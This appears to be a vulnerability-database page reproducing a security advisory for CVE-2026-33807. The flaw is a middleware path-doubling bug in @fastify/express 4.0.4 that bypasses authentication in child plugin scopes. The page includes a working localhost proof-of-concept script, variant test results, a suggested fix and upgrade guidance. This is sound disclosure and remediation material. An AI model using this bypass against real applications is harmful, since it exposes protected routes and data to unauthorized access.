CVE-2026-33807 — Vulnerability in @fastify/express — CVE Details
@fastify/express's middleware path doubling causes authentication bypass in child plugin scopes
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.56%). Schedule for your next planned update.
Does your project use an affected @fastify/express version?
Paste your package-lock.json to check it for CVE-2026-33807 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
@fastify/express v4.0.4 contains a path handling bug in the onRegister function that causes middleware paths to be doubled when inherited by child plugins. This results in complete bypass of Express middleware security controls for all routes defined within child plugin scopes that share a prefix with parent-scoped middleware. No special configuration is required — this affects the default Fastify configuration.
Details
The vulnerability exists in the onRegister function at index.js lines 92-101. When a child plugin is registered with a prefix, the onRegister hook copies middleware from the parent scope and re-registers it using instance.use(...middleware). However, the middleware paths stored in kMiddlewares are already prefixed from their original registration.
The call flow demonstrates the problem:
- Parent scope registers middleware:
app.use('/admin', authFn)—use()calculates path as'' + '/admin' = '/admin'— stores['/admin', authFn]inkMiddlewares - Child plugin registers with
{ prefix: '/admin' }— triggersonRegister(instance) onRegistercopies parent middleware and callsinstance.use('/admin', authFn)on child- Child's
use()function calculates path as'/admin' + '/admin' = '/admin/admin'— registers middleware with doubled path - Routes in child scope use the child's Express instance, where middleware is registered under the incorrect path
/admin/admin - Requests to
/admin/secretdon't match/admin/admin— middleware is silently skipped
The root cause is in the use() function at lines 25-26, which always prepends this.prefix to string paths, combined with onRegister re-calling use() with already-prefixed paths.
PoC
const fastify = require('fastify');
const http = require('http');
function get(port, url) {
return new Promise((resolve, reject) => {
http.get('http://localhost:' + port + url, (res) => {
let data = '';
res.on('data', (chunk) => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, body: data }));
}).on('error', reject);
});
}
async function test() {
const app = fastify({ logger: false });
await app.register(require('@fastify/express'));
// Middleware enforcing auth on /admin routes
app.use('/admin', function(req, res, next) {
if (!req.headers.authorization) {
res.statusCode = 403;
res.setHeader('content-type', 'application/json');
res.end(JSON.stringify({ error: 'Forbidden' }));
return;
}
next();
});
// Root scope route — middleware works correctly
app.get('/admin/root-data', async () => ({ data: 'root-secret' }));
// Child scope route — middleware BYPASSED
await app.register(async function(child) {
child.get('/secret', async () => ({ data: 'child-secret' }));
}, { prefix: '/admin' });
await app.listen({ port: 19876, host: '0.0.0.0' });
// Root scope: correctly blocked
let r = await get(19876, '/admin/root-data');
console.log('/admin/root-data (no auth):', r.status, r.body);
// Output: 403 {"error":"Forbidden"}
// Child scope: BYPASSED — secret data returned without auth
r = await get(19876, '/admin/secret');
console.log('/admin/secret (no auth):', r.status, r.body);
// Output: 200 {"data":"child-secret"}
await app.close();
}
test();
Actual output:
/admin/root-data (no auth): 403 {"error":"Forbidden"}
/admin/secret (no auth): 200 {"data":"child-secret"}
Impact
Complete bypass of Express middleware security controls for all routes defined in child plugin scopes. Authentication, authorization, rate limiting, CSRF protection, audit logging, and any other middleware-based security mechanisms are silently skipped for affected routes.
- No special request crafting is required — normal requests bypass the middleware
- It affects the idiomatic Fastify plugin pattern commonly used in production
- The bypass is silent with no errors or warnings
- Developers' basic testing of root-scoped routes will pass, masking the vulnerability
- Any child plugin scope that shares a prefix with middleware is affected
Applications using @fastify/express with path-scoped middleware and child plugins with matching prefixes are vulnerable in default configurations.
Affected Versions
@fastify/expressv4.0.4 (latest at time of discovery)- Fastify 5.x in default configuration
- No special router options required (
ignoreDuplicateSlashesnot needed) - Affects any child plugin registration where the prefix overlaps with middleware path scoping
- Does NOT affect middleware registered without path scoping (global middleware)
- Does NOT affect middleware registered on root path (
/) due to special case handling
Variant Testing
| Scenario | Middleware Path | Child Prefix | Result |
|---|---|---|---|
Root route /admin/root-data | /admin | N/A | Middleware runs (403) |
Child route /admin/secret | /admin | /admin | BYPASS (200) |
Child route /api/data | /api | /api | BYPASS (200) |
Nested child /admin/sub/data | /admin | /admin/sub | BYPASS — path becomes /admin/sub/admin |
Middleware on / with any child | / | /api | No bypass — path === '/' && prefix.length > 0 special case |
Suggested Fix
The onRegister function should store and re-use the original unprefixed middleware paths, or avoid re-calling the use() function entirely. Options include:
- Store the original path and function separately in
kMiddlewaresbefore prefixing - Strip the parent prefix before re-registering in child scopes
- Store already-constructed Express middleware objects rather than re-processing paths
Advisory Timeline
- First published April 16, 2026 (224 days ago).
- Last revised July 8, 2026 — 83 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install @fastify/express@4.0.5
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| @fastify/express npm · Affected: All versions | 4.0.5 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-436
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
Frequently Asked Questions
- What is CVE-2026-33807?
- @fastify/express's middleware path doubling causes authentication bypass in child plugin scopes. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2026-33807?
- CVE-2026-33807 affects @fastify/express. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33807 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 39.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-33808CRITICAL
@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)
- CVE-2026-6270CRITICAL
@fastify/middie vulnerable to middleware authentication bypass in child plugin scopes
- CVE-2026-76807CRITICAL
Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server
- CVE-2026-33805CRITICAL
Fastify's connection header abuse enables stripping of proxy-added headers
- CVE-2026-114516CRITICAL
Etherpad: Pre-auth arbitrary file read